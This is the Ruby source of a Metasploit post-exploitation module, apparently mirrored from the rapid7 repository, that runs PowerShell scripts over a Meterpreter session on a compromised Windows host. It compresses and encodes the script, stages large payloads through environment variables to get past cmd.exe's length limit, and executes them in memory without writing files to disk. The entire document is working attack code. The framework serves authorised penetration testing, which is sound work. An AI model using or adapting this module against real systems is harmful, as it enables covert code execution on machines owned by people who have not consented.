Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
31192 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# Original script comments by nick[at]executionflow.org:
8
# Meterpreter script to deliver and execute powershell scripts using
9
# a compression/encoding method based on the powershell PoC code
10
# from rel1k and winfang98 at DEF CON 18. This script furthers the
11
# idea by bypassing Windows' command character lmits, allowing the
12
# execution of very large scripts. No files are ever written to disk.
13
##
14
15
require 'zlib' # TODO: check if this can be done with REX
16
17
class MetasploitModule < Msf::Post
18
include Msf::Post::Windows::Powershell
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Windows Manage PowerShell Download and/or Execute',
25
'Description' => %q{
26
This module will download and execute a PowerShell script over a meterpreter session.
27
The user may also enter text substitutions to be made in memory before execution.
28
Setting VERBOSE to true will output both the script prior to execution and the results.
29
},
30
'License' => MSF_LICENSE,
31
'Platform' => ['win'],
32
'SessionTypes' => ['meterpreter'],
33
'Author' => [
34
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
35
'RageLtMan <rageltman[at]sempervictus>' # post module
36
],
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
stdapi_sys_config_sysinfo
41
]
42
}
43
},
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'SideEffects' => [],
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
55
]
56
)
57
58
register_advanced_options(
59
[
60
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
61
OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
62
OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ])
63
]
64
)
65
end
66
67
def run
68
fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'
69
fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?
70
71
# End of file marker
72
eof = Rex::Text.rand_text_alpha(8)
73
env_suffix = Rex::Text.rand_text_alpha(8)
74
75
# check/set vars
76
subs = process_subs(datastore['SUBSTITUTIONS'])
77
script_in = read_script(datastore['SCRIPT'])
78
print_status(script_in)
79
80
# Make substitutions in script if needed
81
script_in = make_subs(script_in, subs) unless subs.empty?
82
83
# Compress
84
print_status('Compressing script contents.')
85
compressed_script = compress_script(script_in, eof)
86
if datastore['DRY_RUN']
87
print_good("powershell -EncodedCommand #{compressed_script}")
88
return
89
end
90
91
# If the compressed size is > 8100 bytes, launch stager
92
if (compressed_script.size > 8100)
93
print_error("Compressed size: #{compressed_script.size}")
94
error_msg = 'Compressed size may cause command to exceed '
95
error_msg += "cmd.exe's 8kB character limit."
96
print_error(error_msg)
97
print_status('Launching stager:')
98
script = stage_to_env(compressed_script, env_suffix)
99
print_good('Payload successfully staged.')
100
else
101
print_good("Compressed size: #{compressed_script.size}")
102
script = compressed_script
103
end
104
105
# Execute the powershell script
106
print_status('Executing the script.')
107
cmd_out = psh_exec(script)
108
if cmd_out.nil?
109
error_msg = "Powershell command returned a nil value; this could be because the command timed out.\n"
110
error_msg << 'You may want to increase the Powershell::Post::timeout value and try again.'
111
print_warning(error_msg)
112
end
113
print_status(cmd_out.to_s)
114
115
# That's it
116
print_good('Finished!')
117
end
118
end
119
120